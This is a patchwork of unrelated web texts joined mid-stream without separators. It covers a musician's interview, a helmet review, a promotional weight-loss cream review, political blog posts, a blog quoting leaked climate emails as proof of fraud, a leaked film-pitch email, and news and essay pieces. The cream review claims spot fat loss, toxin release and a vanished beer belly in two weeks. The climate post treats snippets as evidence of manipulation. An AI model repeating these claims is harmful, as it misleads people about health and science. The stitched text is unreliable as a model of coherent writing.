“Then I browse the Internet for hours, and hours, and hours. Usually I’ll get stuck on Wikipedia, where I’ll read an article about something, and then I’ll find a word or a sentence or a meaning, or something I don’t already know about, and I’ll go and read about that. After a few hours it’s this big web of knowledge, and that gets my appetite ready for dinner.”
“I enjoy learning to cook Indian food, so often I’ll have that for dinner. I can cook some Indian dishes well, but I’m certainly not a master chef – that wouldn’t be fair to say. I try to eat as much vegetarian food as possible too, not because I am a vegetarian but because it’s healthy.
“Since playing and recording music is my job now, I try and practice music as much as possible, but I’ll occasionally hang out with friends too. I very rarely, if ever, go out and have drinks during the week though, because when I got home I can’t concentrate on the stuff that I really want to do. I can’t play guitar or read for shit if I’m drunk, so I don’t enjoy getting intoxicated on a weekday.
“I try and get to bed usually around 1am, but pretty soon I wake up again, and then I can’t get back to sleep. So I usually make something else to eat around 2am, and then I stay up all night watching movies. That’s when I’m not on tour.
“When I am on tour, it’s pretty much the same thing. I wake up on a tour bus somewhere, and I’m usually in a good mood because every day feels a bit adventurous. I’ll step off the bus in my pants and go check out the venue, where I’ll try to grab a coffee and use the toilet, as you can’t take Number Twos – or Threes – on the bus.”
“Then I’ll get dressed, and if I have time I’ll try to walk around the city and see if they have a church or a museum or something, because I like to experience new places. If I need anything badly, I might go and do a bit of minor shopping too, but that’s hardly the number one way of killing time in my book. I do collect vinyl soundtracks though – I don’t give a shit about buying records other than soundtracks – so if I can find a music store that’s always a bonus.
“After sound check, I usually try to take a nap as close to the show as I can, because I find it relaxing to lie down and breathe and save my energy for the show. After the show is when we tend to drink and party. Mostly though, we sit around as a band and create sketches. Our creativity always needs an outlet. We love to hang out and speak about our dreams, which we then try and make come true.
“The last thing that happens before we all go home, is we stand there and look at each other and think, ‘What just happened?’ It’s not until you’re home later that you realise you’re not going to wake up next to your keyboard player in the morning, and you start to think, ‘Where the hell is my tour manager? Who’s going to wipe my ass? What am I going to eat today? When’s the show on?’ It takes a while to adapt back to what one might call normal life after a tour. There’s a closeness that you form with your band mates on the road, that’s like when you’re ten years old in the Scouts or something. And then it’s all over, until the next tour…”
A Nameless Ghoul was talking to Matt Stocks. The band’s album ‘Meliora’ is out now via Spinefarm.
Ghost QuizCadence cycling magazine is collaboratng with the ADAPT Network> to give our readers the best and most current product reviews possible.
Italian brand Kask has designed a superb road helmet in the Mojito; a lightweight, close-fitting and comfortable helmet at a reasonable price point (you can currently find it priced around £110/$140.) The Mojito was the helmet of choice for Team Sky’s pro team up until 2014. If it’s good enough for Tour de France winner Chris Froome, then it’s certainly worth a look.
Over the past few years, Kask has been making a name for itself as a leader in the cycle lid market, helped by the extra media attention from its sponsorship with Team Sky. Having tested the Mojito, I can confidently say that this attention is well deserved. After being used by the Team Sky pro team up until 2014, Kask’s mid-range helmet still carries a lot of the ventilation tech and lightweight construction you’d hope for from current pro-level models
Kask Mojito Features
While the design hasn’t changed much since 2012, the Kask Mojito now weighs in at an impressive 220g (for size medium) and comes in four sizes to suit a wide range of head sizes. For those looking for a size reference, my head size is 57.25 cm and size medium fits perfectly. Thanks to the increased popularity of road racing in Asia, Kask has also released the Mojito XL, following a 12-month study by Kask’s R&D department into head size and shape in Asian cyclists, so even cyclists with a larger head size (up to 64 cm) can now benefit from the Mojito’s close-fitting design.
Even though it’s close-fitting, the helmet is extremely comfortable. This is thanks to Kask’s Up‘n’Down system—a cantilevered rear cradle adjustment—that tailors the fit to most head shapes. The removable padded insert is also appreciated on those longer rides (I found it easy to forget I was even wearing my helmet). The insert comes pre-treated with an antibacterial and antimicrobial process and it can be swapped out for an ‘Antisect’ insert, that features netting to stop insects passing through the vents, or a winter cap for colder riding conditions.
It’s also worth mentioning that the eco-leather chinstrap is nice and comfy and won’t irritate your skin like a standard mesh strap.
The 26 vents offer fantastic ventilation, suitable for hot summer days. A host of small vents (at the front and top) give a consistently even breeze throughout, while large vertical rear vents draw cooling air through effectively. This makes the Kask Mojito feel even lighter than it is—a bonus on lengthy rides. Overall, I would say that the Mojito’s cooling is almost unmatched—only the hyper-ventilated helmets, like the Giro Aeon, may best it here.
The innovative ‘In-Moulding’ system—through which the polycarbonate cover for the top, base ring and back of the helmet’s shell is bonded to the inner polystyrene cap—improves the shell’s shock absorption and leaves almost nothing susceptible to transit or riding damage.
Click here to read the full review on the Adapt Network WebsiteSweet Sweat Reviews: Is the Workout Enhancer Needed?
Do you know that when you sweat during workouts, you’re more likely to lose more weight? After many attempts to try this workout enhancer product out, we finally have the long overdue reviews on sweet sweat.
It comes in a cream form, and can be used to induce sweating in areas where you need to lose more weight. It gets better! Let’s say you have a bigger arm and would love to lose some weight in that spot, you just apply the sweet sweat cream and commence your workout as usual.
Pros of Sweet Sweat Cream
This medicated cream is designed to target specific areas where you need to lose a few pounds. It has the ability to induce more calories burning during your workout.
This workout enhancer will not only improve your body’s circulation and sweating, you overall skin health will be significantly boosted.
One of the best sweet sweat results includes fighting muscle fatigue as your muscle activity is substantially increased.
Since this product stimulates the sweat glands, you’ll be releasing built-up toxins within your body during your workout.
Cons of the Product
If you’re looking for one cure fits all for weight loss product, this is not it. You do need to exercise to get the benefits from using sweet sweat workout enhancer.
This product will not decrease your hunger; neither will it give you faster metabolism.
Sweet Sweat Bodybuilding Features
When I first heard about this product from a dear friend, my skepticism alert level kicked into higher gear. But after using the Sweet sweat cream for several workout sessions, I can tell you it does work. The cream will help you fight muscle fatigue, thus preventing other painful injuries like pulls, strains, and shin splints.
The areas where you rub the cream will produce more sweat during your workout routine. Not only will it accelerate and enhance circulation, the induced sweating will enable quicker weight loss. I applied it to my stomach, and I was sweating from that area.
Most of my gym colleague thought it was odd, as sweat poured out from my stomach area. Within just two weeks, my beer belly was gone, to the amazement of friends and co-workers. Now everyone is bugging me to reveal my secret, thus the need for this Sweet Sweat Review.
My girlfriend used up mine cream for her thighs, and boy did she sweat from that area. Most people thought she passed urine on herself, so I would suggest you wear dark pants if that is your problem area for weight loss.
The body area where you apply sweet sweat cream will feel hotter as if someone placed it under a furnace. Amazingly, the extra heat production does not transfer to the rest of the body during the workout.
I would not suggest you cover your entire body with the cream, unless you’re morbidly obese and intend to slim down all your body parts. A co-worker tried it, and he lost a tremendous amount of weight. He confessed to me, his weight loss has rejuvenated his sex life. Now his girlfriend is onto the product, and she’s getting excellent results.
Just a Word of Caution
If you’re a couch potato and refuse to workout, this weight loss cream will not benefit you. It is not an all in one weight loss product. The efforts you put in through good workouts will be enhanced tremendously, in body areas where the sweet sweat cream is used.
In the beginning, it might be best to try out your legs or arms, for instance, and see how the additional sweating helps your workout. The areas where you applied the cream for weight loss will get hotter, as you increase your workout routine. Do not panic the hotness in that particular area will subside, as the power of the cream is used up.
Sweet Sweat cream may liquefy if you store it at temperatures above 95 degrees. Store the Sweet Sweat cream in normal room temperature.
While the company admits that the sweet sweat cream will work if you find yourself in an infrared or dry sauna, I did not put that to the test. Since saunas are designed to induce sweating, the synergy with this cream seems probable.
Sweet Sweat Active Ingredients
We sent an inquiry to the company that makes this product for the list of ingredients, and it took a few days for us to get any reply. Do you blame them, copycats are everywhere! After answering several answers about our intention with the information, the company sent us the following list of ingredients.
White Snow Petrolatum
Kosher Brazilian Carnauba Wax
Acai
Squalane Oil
Aloe Vera Extract
Tocopheryl Acetate
Pomegranate
Coconut Oil
Kosher Jojoba
Camelina
All the ingredients are sourced from natural sources, and not one case of rash or allergic reaction has been recorded by the manufacturer. It would not surprise me if the company left out some other ingredients just to make it difficult to create your own at home. Like any powerful cream that can induce weight loss, the unique combination of the ingredients is what makes the cream so effective.
Best Way to Apply Sweet Sweat Cream
Take an ample amount of sweet sweat cream and apply it to your skin, before you commence your workout program. Just use it to cover the area of your body needing weight loss, without actually deeply rubbing it in.
It is better if your workout clothes are loose fitting fabrics, which allows your skin to breathe. Using the sweet sweat bodybuilding cream while wearing tights might create friction. If you do wear tights, make sure they’re made from 100% cotton fabrics.
Nylon apparel and Nylon tights will hinder your body’s circulation during the workout, which means the product will not be as effective.
To remove the residue of the sweet sweat product from your skin, you can just towel off or take a shower with warm water and bath soap.
Conclusion
I have noticed that this product will induce faster weight loss in areas of your body where it is applied before workout. While the cream induces Thermogenic Activity during exercise, for permanent results you need to alter your lifestyle that is creating the weight gain.
The company behind this product is transparent and you’ll find tons of information about Sweet Sweat workout enhancer on their website.John McCain’s campaign is pretty much one big assault on Obama these days. But, there is one other message he’s trying to get through: I’m not George Bush, which comes across more like “Stop calling me George Bush, you bastards.” The Bush/McCain association is the one association that really seems to matter to voters in this election. Today’s Washington Post takes a look at the McCain campaign’s desperate strategy to create distance:
Battling George W. Bush for the GOP presidential nomination in 2000, John McCain lashed out at the Texas governor, denouncing his proposed tax cuts as a giveaway to the rich. Eight years later, this time running as the Republican presidential nominee, the senator from Arizona is again criticizing Bush and his financial policies, as he renews his efforts to demonstrate that he would represent a departure from the current administration. At virtually every campaign stop, McCain is reprising a line he used last Wednesday in his final debate with Sen. Barack Obama: “I am not George Bush.” And in a television ad introduced last week, McCain looks into the camera and says, “The last eight years haven’t worked very well, have they?”
We’re getting that McCain ad in the D.C. market. I laughed the first time I saw McCain say the past eight years haven’t worked well — like none of it was his fault. (You can see the McCain ad here.)
John McCain’s criticism of Bush rings hollow for many reasons. The first two paragraphs of the Post article debunk McCain’s attempt at distance. McCain adopted those same Bush’s tax cuts, which he criticized in 2000, as the centerpiece of his economic plan for the country. McCain can’t say he’s not George Bush when he’s made Bush’s agenda his agenda. People see it:
But with the Republican president’s approval ratings languishing, the perceived connection with him is a significant drag on the party’s nominee. Nearly half of all voters in a new Washington Post-ABC News poll said McCain would mainly carry on Bush’s policies, and among those who would consider a McCain presidency as a continuation of the current administration, 90 percent support Obama. And the prized independent voters who link McCain and Bush also overwhelmingly tilt toward the Democrat.
Over the past eight years, McCain has done almost he could to push the Bush agenda. This attempt at a separation is a craven political ploy — and is why this is probably one of the best ads from the Obama campaign:
[youtube=http://www.youtube.com/watch?v=PluoMotgl2w]Ukrainian citizens, young and old, are currently involved in a tumultuous revolution in the capital city of Kiev. The protestors first began their anti-government demonstrations in late November, following President Viktor Yanukovich’s decision to withdraw the nation from a landmark trade pact with the European Union. Since then, they’ve had growing clashes with the police, escalating with time and rage on both sides.
The rest of the world has been fairly unaware of the details and extremities of the situation until recently. Through various social media platforms, many activists and civilians have been able to share their firsthand experience of the fight. Actually, Instagram has been a powerful tool for Ukrainians to document the crowds of protestors, the barricades of police officials cloaked in protective gear, plumes of smoke blinding all parties involved in the struggle, and the explosive backdrop that is now the fiery state of Independence Square.
One photographer in particular, Ilya Varlamov, has been keeping record of the protests through his blog. He says, “The scenery in Kiev is scary. Black smoke, burning barricades and constant explosions. Berkut’s [Ukrainian SWAT] flashbangs and the protestors’ fireworks explode in the streets. Each side is shooting at the other and there are already first casualties (2 to 5 based on different sources).”
An English translation of Varlamov’s full firsthand account of the revolution is available on PetaPixel and goes into great detail about the current standings in Kiev amidst the rallies.
Top photo: Ilya Varlamov
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via [Instagram Blog, PetaPixel]The Northgate Link Extension is on schedule and on-budget, but without a $1.17 billion grant from the federal government the continuation of the light rail north toward Lynnwood will likely be delayed, Sound Transit CEO Peter Rogoff said Tuesday.
Touring the construction site of the future Northgate Station with Congresswoman Pramila Jayapal, D-Seattle, Rogoff said, “In 2016, the administration made a commitment of $1.17 billion for this project (Lynnwood Link); our plan and work now is about getting the current administration to keep to that commitment.”
Rogoff added the agency was “dumbfounded and disappointed” earlier this year when the new administration sought to zero out funding for light rail to Lynnwood.
Jayapal promised to do everything she can to “ensure that the Federal Transit Administration follows through on funding the Lynnwood Link.”
“Our entire delegation understands the need to protect transit dollars here, and we are going to continue to make sure that we deliver as a federal government,” Jayapal said. “We understand we have a rough road to hoe to make sure we get these federal dollars, but I’ll tell you, I think our region has an enormous case to make for why this is a bipartisan necessity for transit in our region.”
Rogoff credited Jayapal, Senators Patty Murray and Maria Cantwell and Congressman Rick Larsen for securing $100 million in 2017 for the Lynnwood project. Congress has yet to approve a second installment of $100 million for 2018.
According to Sound Transit, the agency is in the final stage of the process of securing a $1.17 billion Full Funding Grant Agreement through the Federal Transit Administration for the Lynnwood Link extension under the Capital Investment Grant Program, also known as the New Starts program. A Full Funding Grant Agreement, scheduled to be executed in 2018, would guarantee the entire $1.17 billion grant for the Lynnwood extension.
However, the budget proposed by the Trump administration limits funding for the New Starts program to projects with existing full funding grant agreements. According to the budget documents, “Localities are better equipped to scale and design infrastructure investments needed for their communities” and “federal resources should be focused on making targeted investments that can leverage private sector investment and incentivize the creation of revenue streams where possible.”
“Voters in this region stood up and voted to tax themselves to provide a path out of crippling congestion,” Rogoff said. “For that, they should be rewarded at the federal level, not punished.”
The $54 billion ST3 measure (which does not include the Lynnwood or Tacoma Link Expansion projects) anticipated $4.7 billion of funding coming from the
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uation” is also quite telling. They KNOW what is acceptable and what is not. Rather like folks in the old USSR or Red China…
2267 Wilson:
Although I agree that GHGs are important in the 19th/20th century (especially
since the 1970s), if the weighting of solar forcing was stronger in the models,
surely this would diminish the significance of GHGs.
[…] it seems to me that by weighting the solar irradiance more strongly in the
models, then much of the 19th to mid 20th century warming can be explained from
the sun alone.
Oh Dear! You mean the models are under HUMAN control? That simply changing some “plug number” weighting factor (that we poorly understand anyway) can disappear the entire impact of “Green House Gasses”? Oh My.
At least we have confirmation that the sun CAN do it, per the models, with just a minor change of the parameter that weights the impact of the sun… sort of like that Svensmark theory that is to be kept from view up above, or like that UV amplification via changing the atmospheric thickness that we have observed.
IMHO, this item in particular needs to be pulled out, vetted and confirmed, then sent to every single decision maker world wide who is believing that “the models” say it is all due to CO2…
5289 Hoskins:
If the tropical near surface specific humidity over tropical land has not gone
up (Fig 5) presumably that could explain why the expected amplification of the
warming in the tropics with height has not really been detected.
5315 Jenkins/MetO:
would you agree that there is no convincing evidence for kilimanjaro glacier
melt being due to recent warming (let alone man-made warming)?
Well, a couple of things have not gone to plan… how inconvenient… Need to find a way to ‘fix’ that… maybe with a ‘trick’…
Next up, Jones identifies some problems.
2292 Jones:
[tropical glaciers] There is a small problem though with their retreat. They
have retreated a lot in the last 20 years yet the MSU2LT data would suggest
that temperatures haven’t increased at these levels.
1788 Jones:
There shouldn’t be someone else at UEA with different views [from “recent
extreme weather is due to global warming”] – at least not a climatologist.
Wonder how long Crowley will last? He has the ‘right attitude’, that truth has a certain flexibility about it in the fact of social pressures…
4693 Crowley:
I am not convinced that the “truth” is always worth reaching if it is at the
cost of damaged personal relationships
I like the next one as it shows Briffa knows some of the problems with tree rings:
2967 Briffa:
Also there is much published evidence for Europe (and France in particular) of
increasing net primary productivity in natural and managed woodlands that may
be associated either with nitrogen or increasing CO2 or both. Contrast this
with the still controversial question of large-scale acid-rain-related forest
decline? To what extent is this issue now generally considered urgent, or even
real?
But the concern with “urgent” is odd. It shows a potential concern about ‘fixing’ an inconvenient fact intruding, and then he questions if putting fertilizer on plants really makes them grow faster… I think I hear an attack on “CO2 fertilization” coming on.
2733 Crowley:
Phil, thanks for your thoughts – guarantee there will be no dirty laundry in
the open.
2095 Steig:
He’s skeptical that the warming is as great as we show in East Antarctica — he
thinks the “right” answer is more like our detrended results in the
supplementary text. I cannot argue he is wrong.
0953 Jones:
This will reduce the 1940-1970 cooling in NH temps. Explaining the cooling with
sulphates won’t be quite as necessary.
Where to begin? Crowley seems to indicate that only the accepted truths will see the public light. Nothing that goes against the narrative will be admitted. That doesn’t sound like the competition of ideas that is Science… at least not to me.
Then Steig says there’s a problem with East Antarctic warming, but they can find a “right” answer by picking a result that has been detrended. Not liking the idea of losing some warming, but unable to find a way to show why to keep the warmer set. OK, that’s more or less normal behaviour in science. You have your beliefs, someone else has competing one, you look for how to falsify. No real problem there. However… We have a choice about the warming in Antarctica? It’s a subjective choice to be made? Really?
I also find the attitude of Jones rather troubling. Context needed, yes. WHAT can flatten out that inconvenient natural cooling of the 1940 to 1970 period? WHY do you want to reduce it? Is there no objective reality here? A truth of temperature? From the next sentence, it would appear not. Jones is willing to toss out what ought to be a question of a truth and data, sulphate cooling, based on something else making it less “necessary”? Necessary for what? For WHOM? Either there is cooling or not. Sulphates did it, or not. The amount is NOT something where you hunt around for the amount you want, the “necessary” amount. It looks to me like Jones has the direction in which causality is supposed to flow backwards; at least for science. (He has it the right way for political agenda driven things… )
4944 Haimberger:
It is interesting to see the lower tropospheric warming minimum in the tropics
in all three plots, which I cannot explain. I believe it is spurious but it is
remarkably robust against my adjustment efforts.
4262 Klein/LLNL:
Does anybody have an explanation why there is a relative minimum (and some
negative trends) between 500 and 700 hPa? No models with significant surface
warming do this
2461 Osborn:
This is an excellent idea, Mike, IN PRINCIPLE at least. In practise, however,
it raises some interesting results […] the analysis will not likely lie near to
the middle of the cloud of published series and explaining the reasons behind
this etc. will obscure the message of a short EOS piece.
Osborn points out a reasonable concern in science. “Mike” (whoever they are) had some idea. Osborn says ~’nice, but doesn’t match all the other existing published work’. All as things ought to be. Then blows it more agenda driven ‘spin first science second’ attitude. “obscure the message”? That’s not science. That’s working to an effect first, truth second. Don’t know what an “EOS piece” is, but suspect it is a particular journal. Have your message first, then pick the results that fit it? Somehow I’m becoming less and less idealistic about modern science…
4470 Norwegian Meteorological Institute:
In Norway and Spitsbergen, it is possible to explain most of the warming after
the 1960s by changes in the atmospheric circulation. The warming prior to 1940
cannot be explained in this way.
It looks like the Norwegians are making a fairly neutral statement. How can something be? Normal science. That warming can be caused by atmospheric circulation changes (a normal thing) is refreshing to see. That they are willing to admit there are multiple causes and they can not clarify it all is also refreshing. Settled science? No. But real science. Way to go, guys! (Wonder what it looked like by the time it got into the final reports?)
While I generally don’t like to end on a weak note, that is how the series of emails flows. This is, believe it or not, just about the 1/2 way through the README file.
Part 2 of the README file is covered here:
https://chiefio.wordpress.com/2011/12/17/foia-readme-part-2/
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AdvertisementsA 2016 game changing, feature film project for your consideration.
From:[email protected] To: [email protected] Date: 2015-11-17 03:40 Subject: A 2016 game changing, feature film project for your consideration.
Dear Professor Podesta, Hello from a D.A.R. documented descendant of Ohio Governor Robert Lucas, chairman of the very first DNC Convention that was held in Baltimore. He was appointed by the President to become the territorial governor of Iowa. I also sent this to [email protected] Remember what happened when President Reagan said "Tear Down This Wall?" to Mr. Gorbachev, A gigantic economic expansion was ignited. That's the goal of this film project. I have the script, the budget and a producer for this 2016 political, game changing film project - funding is needed. You would be in charge of the content and selecting the producer. ~~~~~~~~~~~~jp Presenting “INEZ COMES TO AMERICA” The entire film is scored with a very up-beat Mariachi/Mexicana theme. Below is the beginning of the final scene, but first, some set-up detail. Most Americans (and for that matter, the entire rest of the world) either don't remember or might not even have heard about our war with Mexico and - The Treaty of Guadalupe Hidalgo which forced Mexico to accept $15 million for all the land in this link. http://www.smithsonianeducation.org/educators/lesson_plans/borders/map1a.html It’s time to redress this old wrong! Log Line: INEZ, a young Mexican girl, crosses the border in search of work and her missing mother. She finds political corruption, murder and cover-up. ALEX, a young border guard/law student of mixed ethnic heritage (American/Mexican) intercepts her, and listens to her story. Trained in the art of body language, he can see that she is very worried about her mother - they have not heard from her in weeks and her bank transfers have stopped. Alex points to the moon and tells her, “Keep the moon on your right shoulder and you'll be ok.” Some days later, he can't seem to shake the image of this brave young woman and the danger she faces. He feels he could have, should have, offered to help her. He tries to find her but she has disappeared into the barrios of Santa Ana. When she is caught again - Alex is alerted and races down to stop the bus before it gets to the Mexican border and - He sets her free again! Alex is called on the carpet for his actions. He mumbles in his defense, “She’s my fiancée.” Alex is given 72 hours to find her and marry her or go to prison. Frantically, Alex searches and finally makes contact with MARIA, Inez’s new friend. Result: a lively Mexican wedding celebration - where some new drama is revealed. Now - Alex and Inez begin the search for her missing mother. The search leads them to an isolated ranch house with a massive underground tunnel at Tecate, Ca. - The HQ of ARMANDO, the drug lord and his partner - U.S. CONGRESSMAN ROBERT LONGHORN. ~~~~~~~~~~~~~~~~~~~~~~~jp If “Fahrenheit 911” could deliver $211 million on a budget of $6M, this film would be in demand to be screened in all of North and South American theaters and some pirated copies could even find there way into Russia and China. I believe this important film is deserving of the services of a major producer, However, Ken Del Conte is an expert in producing low budget features. He knows film people who will work for part of their compensation based on a box office bonus. Ken penciled out a budget of $1.5 million. For a no obligation copy of the WGA registered script, please contact me. Joe Patterson - Southern California. [email protected] https://www.facebook.com/viejojoe1/about?section=bio - for more about me. and my five film projects. two are political one is spiritual and two are just for fun ~~~~~~~~~~~~~~~~~~~~~~jp This exciting action/drama takes place in Orange County, Ca. and the Mexican border at San Diego. Your input is welcome. Below is the first part of the final scene. ~~~~~~~~~~~~~~~~jp INT./THE GRETA VAN SUSTEREN SHOW/FOX/NIGHT Inez, and Alex are on with Greta. GRETA Alex, you now have your law degree and are running for Congress; correct? ALEX (grins)) Yes, congressman Longhorn's vacant seat. GRETA Tell me about your plan for Mexican statehood. I hope it's not like the Russian's plan for the Ukraine. ALEX No, but that's another good reason to team up with our good neighbor to the South. China has 1.2 Billion citizens and they are also looking to expand. GRETA Are you suggesting... ALEX (interrupts) Remember the boy scout motto Greta and in our case it has to be the will of the people in both countries, not the politicians and certainly not an invasion. GRETA A referendum vote? ALEX (nods in the affirmative) Yes, we will invite the Mexican people to merge with us; to form one great Nation, thereby narrowing our Southern border to the easily protected strip with Guatemala. GRETA But that would create a massive shift in our ethnic balance. ALEX Not at all, the people who are established with family, friends and good jobs will most likely remain. The rest of the 11 million estimated total, would go back home, because that's where most of the new jobs will be. Inez joins in. INEZ This may be the answer to our budget and social security issues. It would set off the largest influx of talented young immigrants in One hundred years and ignite an explosive economic boom. ~~~~~~~~~~more in the actual script..CAPE TOWN (Reuters) - Chinese Vice President Xi Jinping signed an energy deal with resource-rich South Africa on Wednesday in a visit aimed at obtaining minerals the Asian giant needs to fuel its blistering growth.
China's Vice President Xi Jinping meets South Africa's President Jacob Zuma (L) at the Great Hall of the People in Beijing, August 25, 2010. REUTERS/Adrian Bradshaw/Pool
China is South Africa’s biggest bilateral trading partner and the focal point of its plan to divert more trade and investment from traditional markets in Europe and North America to the world’s fastest growing economies.
Xi, touted as China’s next president, on Tuesday began a three-day visit to Africa’s largest economy, which is seeking to reduce a deficit in trade with China that hit $2.7 billion last year, skewed in Beijing’s favour.
South African Deputy President Kgalema Motlanthe and Xi co-chaired the 4th China-South Africa bilateral commission and signed a number of agreements, including an energy deal.
No monetary details were released.
“The Chinese government undertook to encourage more imports from South Africa, especially value added products and will urge Chinese companies to invest in infrastructure development, automotive manufacturing, energy and information and communication technology,” Motlanthe said in a statement.
South Africa has also signed a deal with China’s Yingli Solar to build a $435 million manufacturing plant with a local partner, a senior government official said.
Yingli will partner with a local company and aimed to start building the plant within 12 months.
South African exports about $5.5 billion a year in minerals to the state and has been increasingly a destination of Chinese foreign direct investment.
BRICSA?
Beijing sees South Africa, a global mining power and regional financial services leader, as a vital source of commodities and a stepping stone to access other African states.
Motlanthe said the help of countries including China is vital for South Africa’s new economic growth path, which aims to create millions of jobs, mainly in the private sector.
For South Africa, China also serves as a model of state action in the economy, with Pretoria hoping to join it in the BRIC — Brazil, Russia, India and China — group of fast emerging economies.
But a “BRICSA” grouping seems unlikely for now with South African growth projected at 3 percent this year, hardly the blistering pace of the other members. Its economy is also less than a quarter of the size of the smallest BRIC economy.
South Africa’s ruling African National Congress has rolled out plans to tackle a massive unemployment problem, with many ANC officials seeing the success of the BRICs as evidence that the state should intervene more.
But experts said the ANC, in a governing alliance with organised labour, is loath to loosen a rigid labour market to make it easier for its companies to hire and fire staff with the ease of Chinese firms.
“There are things to be learned but that can only come if one is willing to listen. Around labour policy, there is no translatability of a China or U.S. approach to labour and labour flexibility,” said Martyn Davies, CEO of Frontier Advisory and an expert on Africa-China relations.THE Australian dollar is fallen sharply against its US counterpart which has lifted on strong US data. At 0635 AEST on Wednesday, the Australian dollar was worth 78.20 US cents, down from 78.47 US cents on Tuesday.
Westpac’s Imre Speizer said stronger-than-expected US retail sales data had lifted US interest rates and bond yields, sending the Australian dollar — and its New Zealand peer — lower.
“US retail sales rose 0.6 per cent in July, against an expected 0.3 per cent, with the various core measures also exceeding expectations,” Me Speizer said in a morning note.
“Together with upward revisions to the previous two months, the report supports the view that the consumer sector is in good health, helped by a buoyant jobs market.
“The US dollar index is up 0.4 per cent on the day, making a two-week high (and the) AUD extended a two-week slide from 0.7840 to 0.7808.” Meanwhile, iron ore fell 1.4 per cent on Tuesday, which also weighed on the local currency.
“The AUD has retraced 50 per cent of the June/July rally, and should extend below 0.7800 if the US dollar extends its gains,” Mr Speizer said. The local currency has also fallen against the yen and the euro.
CURRENCY SNAPSHOT AT 0635 AEST ON WEDNESDAY
One Australian dollar buys:
* 78.20 US cents, from 78.47 on Tuesday
* 86.51 Japanese yen, from 86.57 yen
* 66.64 euro cents, from 66.82 euro cents
(*Currency closes taken at 1700 AEST previous local session)When I mentioned having studied ‘Troubles fiction’ while in prison, typically, the novels of Jack Higgins and Gerald Seymour, I often meet with polite silence and a not quite imperceptible downcasting of the eyes.
Partly it’s a prejudice against popular culture as a serious subject, deemed unworthy of academic attention.
Many examples of the genre are indeed quite dishearteningly awful. There are more than 500 such novels. Much of the output may be accurately described as a hybrid of the thriller, romance and war novel genres.
Some of the terms used tend to disparage the works, stressing a garish sensationalism: ‘balaclava novels’, ‘Troubles trash’, while for one novelist they represented ‘a lucrative sub-genre for tourist Brits and Americans’.
One critic advised against any extensive reading: “only a desperate thesis writer – or a masochist – would attempt such a task”.
A wretched condition, or as another wag observed, “cruel and unnatural punishment”. I find myself having to justify the endeavour.
To the uninitiated, prison might seem an ideal environment in which to study. All that time for scholarly reflection. No worries about grants, nor the distractions of campus life. Certainly, many republicans successfully completed degrees in prison. That achievement is all the greater given the high rate of dropouts from Open University courses among the general prison population.
Prison has its own unique pressures, and many an essay deadline was missed because of a ‘bad’ visit or an ill-timed wing search. For republicans, however, study was an act of political resistance. To better understand our struggle, to prepare for leadership roles in our communities, to counter the ‘mindless terrorist’ slur. To that end, we tended to opt for courses in politics and sociology.
I chose, however, to do a more rounded, arts-based degree, possibly because I saw little prospect of release – the home secretary of the day signalled his intention to exceed the trial judge’s recommendation that I serve 35 years and to set my ‘tariff’ at 50 years – and study was an end rather than a means.
I gained a BA Honours (First) in 1994. Then in 1995 the University of Ulster, in conjunction with the Prison Education Department, offered the chance for two suitably qualified prisoners to do postgraduate research degrees. I don’t know how many applied but by a happy coincidence I and my co-defendant, Ella O’Dwyer, were the two eventually accepted.
I read my first Troubles novel while interned in Long Kesh. It was Jack Higgins’s The Savage Day (1972). Bradyites – the name (a reference to followers of Ruairi O Bradaigh) never stuck – were depicted as sectarian thugs. The two Provos, Lucas and Riley, have no redeeming features, and their actions are depicted as counterproductive to their supposed political ends.
I submitted a proposal to look at why the IRA were nastily portrayed in so many of the novels published since the late 1960s dealing with the contemporary Troubles.
Though the necessary academic discipline and detachment ultimately prevailed, I confess that I set out with an axe to grind, suspecting conspiracy on the part of writers and the book industry, and that the genre acted as a sort of paraliterary wing of Brit propaganda.
The IRA in the telling was the big, bad ‘other’ of a modern British morality tale.
What is most striking to me about the content generally of Troubles fiction is the remarkable uniformity of its underlying assumptions. With few exceptions, the common theme encountered ad nauseam is of Britain’s role as an honest broker in the North of Ireland; acting as a referee between warring factions, or contending atavisms.
Britain is rarely depicted as part of the problem; never mind, as republicans would argue, the problem.
The composite Irish republican to emerge from the fictional account is of a Mother Ireland-fixated psycho-killer, aka a Provo Godfather, readily discernible with recourse to an identikit indebted to Tenniel’s ‘Irish Frankenstein’ and other images from Punch redolent of Victorian racism.
Various permutations of the formula reveal a blarney-spouting thug with a ‘ferrety look’ and halitosis; or, as it is put in a recent novel, “the Fenian world of rotten teeth and puffy botched skin”. In this murky light, the violence attributed to republicans results from an ingrained bloodlust and is not the effect or symptom of profound political grievances.
To read these texts uncritically is to accept at face value many assumptions that continue to hinder a resolution of the conflict.
Gross negatives of the IRA gunman, like the Irish joke or the Cummings cartoon, offer non-explanations that have befogged the issues central to the struggle in Ireland and detract from the search for a just and lasting peace settlement.
It is important to counter and correct these misrepresentations to an audience largely starved of any adequate understanding of the republican perspective.
Only when opposing sides see each other clearly, and recognise each other’s humanity, will a resolution begin. Why? Because ignorance about any one of the protagonists in a conflict will hamper its resolution and will only contribute to its prolongation.
To allow the distortions prevalent in much of the prose fiction output to go unchallenged would be to collude with, as Franz Fanon observed, “the racist who creates the inferior”.
I can see that [High Dive, Jonathan Lee’s novel about the Brighton bombing] is well-written but in terms of its depiction of the actual operation it is way off the mark. I prefer not to comment further, other than to wish the author well.
Worst of the genre
The Whore Mother, Shaun Herron (1973)
Peddles the line that it was IRA policy to kill Protestants to foment civil war, and that nationalist civil rights grievances were exaggerated. “The killing would stop when the terrible warlike women of Ulster decided it must not; not before. They conceived hatred and vengefulness as they conceived children and passed the venom in their blood.”
Harry’s Game, Gerald Seymour (1975)
A former NIO minister is assassinated outside his Belgravia home by a lone IRA man. The British prime minister orders that in response an SAS man, Harry Brown, be sent to the North to kill the assassin. A Belfast IRA leader is described thus: “He was of the new school, and had come a long way since Long Kesh opened. He had pitiless eyes, wide apart above his ferret nose, and a thin, bloodless mouth.”
The Kaufman Snatch, Robin Moore (1976)
By the author of The French Connection, possibly the worst novel deadling with the Troubles. Unintentionally farcical story about an IRA kidnapping in the USA. Real people and events are crudely caricatured.
The Eye of the Tornado, Chapman Pincher (1976)
The IRA, with KGB help, hijack a shipload of nuclear weapons, intending to destabilise Britain. The leader of the operation, McNally, “turned to his second-in-command, a much shorter ferret-faced man, with a nose that made him look as though he had caught a chill when the priest christened him and had never shaken it off”.
The Confessions of Proinsias O’Toole, John Morrow (1977)
